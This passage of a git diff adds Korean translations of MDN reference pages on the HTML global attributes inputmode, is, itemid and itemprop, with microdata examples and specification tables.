+ <code>tabindex</code> is only supported on {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.<br>
+ <code>accesskey</code> is only supported on {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("label")}}, {{HTMLElement("legend")}} and {{HTMLElement("textarea")}}.<br>
+ <code>title</code> is supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, and {{HTMLElement("title")}}.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>대부분의 전역 특성에 접근할 수 있는 {{domxref("Element")}}와 {{domxref("GlobalEventHandlers")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/inputmode/index.html b/files/ko/web/html/global_attributes/inputmode/index.html
new file mode 100644
index 0000000000..9f33550c8f
--- /dev/null
+++ b/files/ko/web/html/global_attributes/inputmode/index.html
@@ -0,0 +1,64 @@
+---
+title: inputmode
+slug: Web/HTML/Global_attributes/inputmode
+tags:
+ - Attribute
+ - Global attributes
+ - HTML
+ - Reference
+ - Web
+translation_of: Web/HTML/Global_attributes/inputmode
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><strong><code>inputmode</code></strong> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 사용자가 요소나 요소의 콘텐츠를 편집할 때 입력할 수 있는 데이터 유형의 힌트를 제공하는 열거형 특성입니다.</span> 가능한 값은 다음과 같습니다.</p>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>가상 키보드를 사용하지 않습니다. 페이지가 자체 키보드나 입력 컨트롤을 구현할 때 사용합니다.</dd>
+ <dt><code>text</code> (기본값)</dt>
+ <dd>사용자의 현재 로케일에 맞는 표준 키보드를 제공합니다.</dd>
+ <dt><code>decimal</code></dt>
+ <dd>사용자의 로케일에 맞는 소숫점(보통 <kbd>,</kbd> 또는 <kbd>.</kbd>)을 제공하는 숫자형 키보드를 제공합니다. 장치에 따라 음의 부호(<kbd>-</kbd>)는 제공할 수도, 제공하지 않을 수도 있습니다.</dd>
+ <dt><code>numeric</code></dt>
+ <dd>숫자형 키보드를 제공합니다. 소숫점은 없으며, 음의 부호는 제공할 수도, 제공하지 않을 수도 있습니다.</dd>
+ <dt><code>tel</code></dt>
+ <dd>전화번호 키보드를 제공합니다. 숫자 0~9, 별표(<kbd>*</kbd>), 해시(샵, <kbd>#</kbd>) 키를 포함합니다. 일반적인 경우, 반드시 전화번호를 필요로 하는 입력 칸에는 <code>{{htmlelement("input/tel", '&lt;input type="tel"&gt;')}}</code>을 사용해야 합니다.</dd>
+ <dt><code>search</code></dt>
+ <dd>검색 입력 칸에 최적화한 가상 키보드를 제공합니다. 예를 들면, 엔터/제출 키가 "검색" 아이콘이나 레이블을 가질 수 있습니다. 일반적인 경우, 반드시 검색 질의를 필요로 하는 입력 칸에는 <code>{{HTMLElement("input/search", '&lt;input type="search"&gt;')}}</code>를 사용해야 합니다.</dd>
+ <dt><code>email</code></dt>
+ <dd>이메일 입력에 최적화한 가상 키보드를 제공합니다. 보통 <kbd>@</kbd> 키 등을 제공합니다. 일반적인 경우, 반드시 이메일을 필요로 하는 입력 칸에는 <code>{{htmlelement("input/email", '&lt;input type="email"&gt;')}}</code>을 사용해야 합니다.</dd>
+ <dt><code>url</code></dt>
+ <dd>{{glossary("URL")}} 입력에 최적화한 가상 키보드를 제공합니다. 보통 <kbd>/</kbd> 키를 누르기 편한 곳에 배치하며, 세션 히스토리 접근 기능 등을 추가하기도 합니다. 일반적인 경우, 반드시 URL을 필요로 하는 입력 칸에는 <code>inputmode</code> 대신 <code>{{htmlelement("input/url", '&lt;input type="url"&gt;')}}</code>을 사용해야 합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "interaction.html#input-modalities:-the-inputmode-attribute", "inputmode")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.inputmode")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/is/index.html b/files/ko/web/html/global_attributes/is/index.html
new file mode 100644
index 0000000000..99e72adade
--- /dev/null
+++ b/files/ko/web/html/global_attributes/is/index.html
@@ -0,0 +1,64 @@
+---
+title: is
+slug: Web/HTML/Global_attributes/is
+tags:
+ - Global attributes
+ - HTML
+ - Reference
+translation_of: Web/HTML/Global_attributes/is
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><strong><code>is</code></strong> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 표준 HTML 요소가 사용자 지정 요소처럼 행동하도록 지정합니다. <a href="/ko/docs/Web/Web_Components/Using_custom_elements">사용자 지정 요소 사용하기</a>를 방문해 더 자세한 정보를 알아보세요.</p>
+
+<p>이 특성은 주어진 사용자 지정 요소의 이름을 현재 문서에 성공적으로 <a href="/ko/docs/Web/API/CustomElementRegistry/define">정의</a>했고, <code>is</code> 특성을 적용하려는 요소를 확장하는 경우에만 사용할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 코드는 <a href="https://github.com/mdn/web-components-examples/tree/master/word-count-web-component">word-count-web-component</a> 예제에서 발췌한 것입니다. (<a href="https://mdn.github.io/web-components-examples/word-count-web-component/">실제 동작 보기</a>)</p>
+
+<pre class="brush: js notranslate">// Create a class for the element
+class WordCount extends HTMLParagraphElement {
+ constructor() {
+ // Always call super first in constructor
+ super();
+
+ // Constructor contents ommitted for brevity
+ ...
+
+ }
+}
+
+// Define the new element
+customElements.define('word-count', WordCount, { extends: 'p' });</pre>
+
+<pre class="brush: html notranslate">&lt;<span class="pl-ent">p</span> <span class="pl-e">is</span>=<span class="pl-s"><span class="pl-pds">"</span>word-count<span class="pl-pds">"</span></span>&gt;&lt;/<span class="pl-ent">p</span>&gt;</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "custom-elements.html#attr-is", "is")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.is")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/itemid/index.html b/files/ko/web/html/global_attributes/itemid/index.html
new file mode 100644
index 0000000000..1253ac90b7
--- /dev/null
+++ b/files/ko/web/html/global_attributes/itemid/index.html
@@ -0,0 +1,105 @@
+---
+title: itemid
+slug: Web/HTML/Global_attributes/itemid
+tags:
+ - Global attribute
+ - HTML
+ - HTML Microdata
+ - Microdata
+ - Reference
+ - 마이크로데이터
+translation_of: Web/HTML/Global_attributes/itemid
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><code><strong>itemid</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 아이템의 고유한 전역 식별자의 형태로 마이크로데이터를 제공합니다. <code>itemid</code> 특성은 {{htmlattrxref("itemscope")}}, {{htmlattrxref("itemtype")}} 특성 모두 가진 요소에만 지정할 수 있습니다. 또한 <code>itemscope</code> 특성에 대응하는 <code>itemtype</code>이 전역 식별자 어휘를 참조하거나 정의해야 합니다.</p>
+
+<p><code>itemtype</code>의 전역 식별자에 대한 정확한 의미는 지정한 어휘 내에서의 해당 식별자 정의가 제공합니다. 어휘는 동일한 전역 식별자를 가지는 여러 아이템이 공존할 수 있는지, 공존한다면 동일한 식별자를 가진 아이템을 어떻게 처리할 것인지를 정의합니다.</p>
+
+<p class="note"><strong>참고:</strong> {{glossary("WHATWG")}} 명세는 <code>itemid</code>가 반드시 {{glossary("URL")}}이어야 한다고 되어 있습니다. 하지만, 다음 예제에서는 {{glossary("URN")}} 역시 사용 가능하다는 것을 명확히 보여주고 있습니다. 이런 불일치는 마이크로데이터 명세의 불완전성을 반영한다고 볼 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;dl itemscope
+ itemtype="http://vocab.example.net/book"
+ itemid="urn:isbn:0-330-34032-8"&gt;
+&lt;dt&gt;Title &lt;dd itemprop="title"&gt;The Reality Dysfunction
+&lt;dt&gt;Author &lt;dd itemprop="author"&gt;Peter F. Hamilton
+&lt;dt&gt;Publication date
+&lt;dd&gt;&lt;time itemprop="pubdate" datetime="1996-01-26"&gt;26 January 1996&lt;/time&gt; &lt;/dl&gt;</pre>
+
+<h3 id="구조화된_데이터">구조화된 데이터</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td colspan="1" rowspan="14">itemscope</td>
+ <td>itemtype: itemid</td>
+ <td colspan="2" rowspan="1">
+ <div class="jyrRxf-eEDwDf jcd3Mb IZ65Hb-hUbt4d">http://vocab.example.net/book: urn:isbn:0-330-34032-8</div>
+ </td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>title</td>
+ <td>The Reality Dysfunction</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>author</td>
+ <td>
+ <div class="jyrRxf-eEDwDf jcd3Mb">Peter F. Hamilton</div>
+ </td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>pubdate</td>
+ <td>1996-01-26</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "microdata.html#attr-itemid", "itemid")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.itemid")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li>마이크로데이터 관련 다른 전역 특성:
+ <ul>
+ <li>{{htmlattrxref("itemprop")}}</li>
+ <li>{{htmlattrxref("itemref")}}</li>
+ <li>{{htmlattrxref("itemscope")}}</li>
+ <li>{{htmlattrxref("itemtype")}}</li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/itemprop/index.html b/files/ko/web/html/global_attributes/itemprop/index.html
new file mode 100644
index 0000000000..5cb1a45e45
--- /dev/null
+++ b/files/ko/web/html/global_attributes/itemprop/index.html
@@ -0,0 +1,472 @@
+---
+title: itemprop
+slug: Web/HTML/Global_attributes/itemprop
+tags:
+ - Attribute
+ - Global attribute
+ - HTML
+ - HTML Microdata
+ - Microdata
+ - Reference
+ - 마이크로데이터
+translation_of: Web/HTML/Global_attributes/itemprop
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><code><strong>itemprop</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 아이템에 속성을 추가할 때 사용합니다. 모든 요소는 <code>itemprop</code> 특성을 가질 수 있으며, 하나의 <code>itemprop</code>은 키-값 쌍으로 구성됩니다. 각각의 키-값 쌍은 <strong>속성</strong>이라고 부르고, 하나 이상의 속성으로 구성한 그룹을 <strong>아이템</strong>이라고 부릅니다. 속성의 값으로는 문자열이나 {{glossary("URL")}}을 사용할 수 있고, {{HTMLElement("audio")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("link")}}, {{HTMLElement("object")}}, {{HTMLElement("source")}} , {{HTMLElement("track")}}, {{HTMLElement("video")}} 등 다양한 요소와 연관지을 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 일련의 요소에 <code>itemprop</code> 특성을 표기한 소스 코드와, 그 결과인 구조화된 데이터를 나타내는 표를 보입니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div itemscope itemtype ="http://schema.org/Movie"&gt;
+ &lt;h1 <strong>itemprop="name"</strong>&gt;Avatar&lt;/h1&gt;
+ &lt;span&gt;Director:
+ &lt;span <strong>itemprop="director"</strong>&gt;James Cameron&lt;/span&gt;
+ (born August 16, 1954)&lt;/span&gt;
+ &lt;span <strong>itemprop="genre"</strong>&gt;Science fiction&lt;/span&gt;
+ &lt;a href="../movies/avatar-theatrical-trailer.html"
+ <strong>itemprop="trailer"</strong>&gt;Trailer&lt;/a&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="구조화된_데이터">구조화된 데이터</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td colspan="1" rowspan="2"></td>
+ <th colspan="2" rowspan="1"><strong>Item</strong></th>
+ </tr>
+ <tr>
+ <th><strong>itemprop name</strong></th>
+ <th><strong>itemprop value</strong></th>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>name</td>
+ <td>Avatar</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>director</td>
+ <td>James Cameron</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>genre</td>
+ <td>Science fiction</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>trailer</td>
+ <td>../movies/avatar-theatrical-trailer.html</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="속성">속성</h2>
+
+<p>속성은 문자열이나 {{glossary("URL")}}을 값으로 가질 수 있습니다. 문자열 값으로 URL을 지정할 경우 {{htmlelement("a")}}와 {{htmlattrxref("href", "a")}} 특성, {{htmlelement("img")}} 요소와 {{htmlelement("src", "img")}} 특성, 또는 그 외의 외부 리소스를 연결하는 기타 요소를 사용해 표현합니다.</p>
+
+<h3 id="문자열을_값으로_갖는_세_개의_속성">문자열을 값으로 갖는 세 개의 속성</h3>
+
+<pre class="brush: html notranslate">&lt;div itemscope&gt;
+ &lt;p&gt;My name is
+ &lt;span itemprop="name"&gt;Neil&lt;/span&gt;.&lt;/p&gt;
+ &lt;p&gt;My band is called
+ &lt;span itemprop="band"&gt;Four Parts Water&lt;/span&gt;.&lt;/p&gt;
+ &lt;p&gt;I am
+ &lt;span itemprop="nationality"&gt;British&lt;/span&gt;.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="값이_URL인_image_속성">값이 URL인 "image" 속성</h3>
+
+<pre class="brush: html notranslate">&lt;div itemscope&gt;
+ &lt;img itemprop="image"
+ src="google-logo.png" alt="Google"&gt;
+&lt;/div&gt;</pre>
+
+<p>숫자와 문자로 구성된 긴 문자열처럼 사람이 쉽게 읽고 이해할 수 없는 문자열이 값일 경우, {{htmlelement("data")}} 요소의 {{htmlattrxref("value", "data")}} 특성 값을 사용해 나타내고, 사람이 보다 쉽게 읽을 수 있도록 표현한 문자열을 <code>&lt;data&gt;</code>의 콘텐츠로 지정할 수 있습니다. (<code>&lt;data&gt;</code> 콘텐츠는 구조화된 데이터의 일부가 아닙니다. 아래 예제를 참고하세요.)</p>
+
+<h3 id="값이_상품_ID인_속성을_가진_아이템">값이 상품 ID인 속성을 가진 아이템</h3>
+
+<p>ID가 사람에게 친화적인 형태가 아니므로, 사람이 읽을 수 있는 텍스트로는 ID 대신 상품 ID를 사용합니다.</p>
+
+<pre class="brush: html notranslate">&lt;h1 itemscope&gt;
+ &lt;data itemprop="product-id"
+ value="9678AOU879"&gt;The Instigator 2000&lt;/data&gt;
+&lt;/h1&gt;</pre>
+
+<p>숫자 값으로는 {{htmlelement("meter")}} 요소와 그 {{htmlattrxref("value", "meter")}} 특성을 대신 사용할 수 있습니다.</p>
+
+<h3 id="&lt;meter>_요소"><code>&lt;meter&gt;</code> 요소</h3>
+
+<pre class="brush: html notranslate">&lt;div itemscope itemtype="http://schema.org/Product"&gt;
+ &lt;span itemprop="name"&gt;Panasonic White
+ 60L Refrigerator&lt;/span&gt;
+ &lt;img src="panasonic-fridge-60l-white.jpg" alt=""&gt;
+ &lt;div itemprop="aggregateRating"
+ itemscope
+ itemtype="http://schema.org/AggregateRating"&gt;
+ &lt;meter itemprop="ratingValue"
+ min=0 value=3.5 max=5&gt;Rated 3.5/5&lt;/meter&gt;
+ (based on &lt;span
+ itemprop="reviewCount"&gt;11&lt;/span&gt;
+ customer reviews)
+ &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>비슷하게, 날짜와 시간 관련 데이터는 {{htmlelement("time")}}과 그 {{htmlattrxref("datetime", "time")}} 특성을 사용할 수 있습니다.</p>
+
+<h3 id="날짜_값인_생년월일_속성을_가지는_아이템">날짜 값인 생년월일 속성을 가지는 아이템</h3>
+
+<pre class="brush: html notranslate">&lt;div itemscope&gt;
+ I was born on &lt;time
+ itemprop="birthday"
+ datetime="2009-05-10"&gt;May 10th 2009&lt;/time&gt;.
+&lt;/div&gt;</pre>
+
+<p>속성을 선언하는 요소에 <code>itemscope</code> 특성을 지정해, 이름-값 쌍의 그룹으로 만들 수도 있습니다. 각 값은 문자열이거나, 이름-값 쌍 그룹(즉, 아이템)이어야 합니다.</p>
+
+<h3 id="사람을_나타내는_바깥쪽_아이템과_밴드를_나타내는_안쪽_아이템">사람을 나타내는 바깥쪽 아이템과 밴드를 나타내는 안쪽 아이템</h3>
+
+<pre class="brush: html notranslate">&lt;div itemscope&gt;
+ &lt;p&gt;Name:
+ &lt;span itemprop="name"&gt;Amanda&lt;/span&gt;&lt;/p&gt;
+ &lt;p&gt;Band:
+ &lt;span itemprop="band" itemscope&gt;
+ &lt;span itemprop="name"&gt;Jazz Band&lt;/span&gt;
+ (&lt;span itemprop="size"&gt;12&lt;/span&gt;
+ players)&lt;/span&gt;&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<p>위의 코드에서 바깥쪽 아이템은 <code>name</code>과 <code>band</code> 두 개의 속성을 가지고 있습니다. <code>name</code>은 <code>Amanda</code>이고 <code>band</code>는 그 자체로 <code>name</code>과 <code>size</code>라는 두 가지 속성을 가진 아이템입니다. 밴드의 <code>name</code>은 <code>Jazz Band</code>이고, <code>size</code>는 <code>12</code>입니다. 이 예제에서, 바깥쪽 아이템은 최상위 마이크로데이터 아이템입니다. 다른 아이템의 일부가 아닌 아이템을 최상위 마이크로데이터 아이템이라고 합니다.</p>
+
+<h3 id="모든_속성이_아이템에서_분리된_경우">모든 속성이 아이템에서 분리된 경우</h3>
+
+<p>이 예제는 앞의 예제와 동일하지만 모든 속성이 아이템에서 분리되어 있습니다.</p>
+
+<pre class="brush: html notranslate">&lt;div itemscope id="amanda" itemref="a b"&gt;&lt;/div&gt;
+&lt;p id="a"&gt;Name:
+ &lt;span itemprop="name"&gt;Amanda&lt;/span&gt;&lt;/p&gt;
+&lt;div id="b"
+ itemprop="band"
+ itemscope itemref="c"&gt;&lt;/div&gt;
+&lt;div id="c"&gt;
+ &lt;p&gt;Band:
+ &lt;span itemprop="name"&gt;Jazz Band&lt;/span&gt;&lt;/p&gt;
+ &lt;p&gt;Size:
+ &lt;span itemprop="size"&gt;12&lt;/span&gt; players&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<p>이 예제의 결과는 이전 예제와 동일합니다. 첫 번째 아이템은 두 가지 속성을 가지고 있는데, "name"은 "Amanda"로 설정했고, "band"는 다른 아이템으로 연결되어 있습니다. "band"가 가리킨 아이템은 또 다시 두 가지 속성을 가지고 있는데, "name"은 "Jazz Band"이고, "size"는 "12"입니다.</p>
+
+<p>아이템은 같은 이름을 가지나 서로 다른 값을 갖는 다수의 속성을 가질 수 있습니다.</p>
+
+<h3 id="두_가지_맛의_아이스크림">두 가지 맛의 아이스크림</h3>
+
+<pre class="brush: html notranslate">&lt;div itemscope&gt;
+ &lt;p&gt;Flavors in my favorite ice cream:&lt;/p&gt;
+ &lt;ul&gt;
+ &lt;li itemprop="flavor"&gt;Lemon sorbet&lt;/li&gt;
+ &lt;li itemprop="flavor"&gt;Apricot sorbet&lt;/li&gt;
+ &lt;/ul&gt;
+&lt;/div&gt;</pre>
+
+<p>이 예제는 두 가지 프로퍼티를 가지고 있는 아이템을 보여주고 있는데, 두 프로퍼티 모두 "flavor"라는 이름을 가지고 "Lemon sorbet"와 "Apricot sorbet"라는 값을 각각 가지고 있습니다.</p>
+
+<p>어떤 속성을 가진 요소는 프로퍼티 중 일부가 동일한 값을 가질 때 중복을 피하기 위해 한 번에 여러 프로퍼티를 가질 수도있습니다(An element introducing a property can also introduce multiple properties at once, to avoid duplication when some of the properties have the same value).</p>
+
+<h3 id="값이_모두_orange인_favorit-color와_favorite-fruit_두_프로퍼티를_가진_아이템">값이 모두 "orange"인 "favorit-color"와 "favorite-fruit" 두 프로퍼티를 가진 아이템</h3>
+
+<pre class="brush: html notranslate">&lt;div itemscope&gt;
+ &lt;span
+ itemprop="favorite-color
+ favorite-fruit"&gt;orange&lt;/span&gt;
+&lt;/div&gt;</pre>
+
+<div class="note">
+<p>참고: 마이크로 데이터와 마이크로 데이터가 표시된 문서의 컨텐츠 사이에는 아무런 연관관계가 없습니다.</p>
+</div>
+
+<h3 id="구조화된_데이터를_두_가지_다른_방식으로_표시하기">구조화된 데이터를 두 가지 다른 방식으로 표시하기</h3>
+
+<p id="There_is_no_semantic_difference_between_the_following_two_examples">다음의 두 예제는 의미상 차이는 없습니다.</p>
+
+<pre class="brush: html notranslate">&lt;figure&gt;
+ &lt;img src="castle.jpeg"&gt;
+ &lt;figcaption&gt;&lt;span
+ itemscope&gt;&lt;span
+ itemprop="name"&gt;The Castle&lt;/span&gt;&lt;/span&gt;
+ (1986)&lt;/figcaption&gt;
+&lt;/figure&gt;</pre>
+
+<pre class="brush: html notranslate">&lt;span itemscope&gt;&lt;meta
+ itemprop="name"
+ content="The Castle"&gt;&lt;/span&gt;
+&lt;figure&gt;
+ &lt;img src="castle.jpeg"&gt;
+ &lt;figcaption&gt;The Castle
+ (1986)&lt;/figcaption&gt;
+&lt;/figure&gt;</pre>
+
+<p>두 예제 모두 caption을 가지고 있으며 figure와 전혀 관계가 없고 "name" 이라는 이름과 "The Castle"이라는 값의 쌍을 가진 아이템을 가지고 있습니다. 단 한 가지 차이는 사용자가 문서의 바깥쪽으로 figcaption을 드래그하면 drag-and-drop 데이터에 그 아이템이 포함된다는 점입니다다. 그 아이템과 연관된 이미지는 포함되지 않습니다.</p>
+
+<h2 id="이름과_값">이름과 값</h2>
+
+<p>프로퍼티는 고유한 토큰으로 이루어진 순서가 없는(unordered) 집합으로 대소문자를 구분하고 이름-값의 쌍을 나타냅니다. 프로퍼티 값은 하나 이상의 토큰을 가지고 있어야 합니다. 다음의 예제에서 각 데이터 셀이 토큰입니다.</p>
+
+<h3 id="이름_예제">이름 예제</h3>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th colspan="1" rowspan="2" scope="col"></th>
+ <th colspan="2" rowspan="1" scope="col">Item</th>
+ </tr>
+ <tr>
+ <th scope="col">itemprop <strong>name</strong></th>
+ <th scope="col">itemprop <strong>value</strong></th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th>itemprop</th>
+ <td>country</td>
+ <td>Ireland</td>
+ </tr>
+ <tr>
+ <th>itemprop</th>
+ <td>Option</td>
+ <td>2</td>
+ </tr>
+ <tr>
+ <th>itemprop</th>
+ <td>https://www.flickr.com/photos/nlireland/6992065114/</td>
+ <td>Ring of Kerry</td>
+ </tr>
+ <tr>
+ <th>itemprop</th>
+ <td>img</td>
+ <td>https://www.flickr.com/photos/nlireland/6992065114/</td>
+ </tr>
+ <tr>
+ <th>itemprop</th>
+ <td>website</td>
+ <td>flickr</td>
+ </tr>
+ <tr>
+ <th>itemprop</th>
+ <td>(token)</td>
+ <td>(token)</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><strong>토큰(Tokens)</strong>은 문자열이거나 URL일 수 있습니다. item이 URL일 경우는 <strong>typed item</strong>이라고 하고 그렇지 않은 경우는 문자열(string)이라고 합니다. 문자열에는 마침표(period)나 콜론(colon)이 포함되어서는 안됩니다(아래 참고).</p>
+
+<ol>
+ <li>아이템이 typed item일 경우 다음 중 하나이어야 합니다:
+ <ol>
+ <li>정의된 프로퍼티 이름이거나</li>
+ <li>어휘(vocabulary)의 정의를 참조하는 유효한 URL이거나</li>
+ <li>전용(proprietary) 아이템 프로퍼티(예: 공개된 명세서에 정의되지 않은)로 사용되는 유효한 URL이어야 합니다.</li>
+ </ol>
+ </li>
+ <li>아이템이 typed item이 아닐 경우 다음을 따라야 합니다:
+ <ol>
+ <li>"<strong>.</strong>" (U+002E FULL STOP) 문자나 "<strong>:</strong>" characters (U+003A COLON) 문자를 포함하지 않는 문자열로 전용(proprietary) 아이템 프로퍼티(예: 공개된 명세서에 정의되지 않은)로 사용되는 유효한 URL이어야 합니다.</li>
+ </ol>
+ </li>
+</ol>
+
+<p class="note"><strong>참고:</strong> 위에서 금지한, URL 값이 아닌 경우 ":" 문자가 포함되면 안되는 이유는 이 문자가 문자열에 포함되어 있으면 URL과 구분할 수 없기 때문입니다. "."를 포함하는 문자는 향후 확장을 고려해 예약된 것입니다. 공백(space) 문자는 공백이 포함되어 있을 경우 여러 개의 토큰으로 파싱될 수 있기 때문에 금지되어 있습니다.</p>
+
+<h2 id="값">값</h2>
+
+<p>이름-값 쌍의 프로퍼티 값은 다음 목록에서 처음으로 일치하는 값입니다:</p>
+
+<ul>
+ <li>해당 요소가 <strong>itemscope </strong>속성을 가지고 있을 경우
+
+ <ul>
+ <li>그 값은 해당 요소가 생성한 <strong>아이템(item)</strong>입니다.</li>
+ </ul>
+ </li>
+ <li>해당 요소가 <strong>meta </strong>요소일 경우
+ <ul>
+ <li>그 값은 해당 요소의 <strong>content </strong>속성의 값입니다.</li>
+ </ul>
+ </li>
+ <li>해당 요소가 <strong>audio</strong>, <strong>embed</strong>, <strong>iframe</strong>, <strong>img</strong>, <strong>source</strong>, <strong>track</strong>, 또는 <strong>video</strong>일 경우
+ <ul>
+ <li>그 값은 src 속성이 해당 요소에 설정될 당시 노드 문서(node document;<a href="/en-US/docs/Web/API/Microdata_DOM_API">Microdata DOM API</a>의 일부)에 상대적인 src 속성의 값을 파싱한 URL 문자열입니다.</li>
+ </ul>
+ </li>
+ <li>해당 요소가 <strong>a</strong>, <strong>area</strong>, 또는 <strong>link </strong>요소일 경우
+ <ul>
+ <li>그 값은 href 속성이 해당 요소에 설정될 당시 노드 문서에 상대적인 href 속성의 값을 파싱한 URL 문자열입니다.</li>
+ </ul>
+ </li>
+ <li>해당 요소가 <strong>object </strong>요소일 경우
+ <ul>
+ <li>그 값은 data 속성이 해당 요소에 설정될 당시 노드 문서에 상대적인 data 속성의 값을 파싱한 URL 문자열입니다.</li>
+ </ul>
+ </li>
+ <li>해당 요소가 <strong>data</strong>일 경우
+ <ul>
+ <li>그 값은 해당 요소의 value 속성의 값입니다.</li>
+ </ul>
+ </li>
+ <li>해당 요소가 <strong>meter</strong>일 경우
+ <ul>
+ <li>그 값은 해당 요소의 <strong>value </strong>속성의 값입니다.</li>
+ </ul>
+ </li>
+ <li>해당 요소가 <strong>time</strong>일 경우
+ <ul>
+ <li>그 값은 해당 요소의 <strong>datetime</strong> 값 입니다.</li>
+ </ul>
+ </li>
+</ul>
+
+<p>그 외의 경우</p>
+
+<ul>
+ <li>그 값은 해당 요소의 <strong>textContent</strong> 입니다.</li>
+</ul>
+
+<p>어떤 프로퍼티의 값이 <strong>URL</strong>이라면, 그 프로퍼티는 URL 속성 요소를 이용해 지정되어야 합니다. URL 속성 요소는 <strong>a</strong>, <strong>area</strong>, <strong>audio</strong>, <strong>embed</strong>, <strong>iframe</strong>, <strong>img</strong>, <strong>link</strong>, <strong>object</strong>, <strong>source</strong>, <strong>track</strong>, 그리고 <strong>video </strong>요소입니다.</p>
+
+<h3 id="이름_순서">이름 순서</h3>
+
+<p>이름은 서로 순서가 없지만, 특정한 이름이 여러 값을 가지는 경우라면 상대적인 순서를 가집니다.</p>
+
+<h4 id="다음_예제에서_a_프로퍼티는_순서대로_1과_2의_값을_가지지만_a_프로퍼티가_b_프로퍼티_보다_먼저_오는지_아닌지는_중요하지_않습니다.">다음 예제에서 "a" 프로퍼티는 순서대로 "1"과 "2"의 값을 가지지만,  "a" 프로퍼티가 "b" 프로퍼티 보다 먼저 오는지 아닌지는 중요하지 않습니다.</h4>
+
+<pre class="brush: html notranslate">&lt;div itemscope&gt;
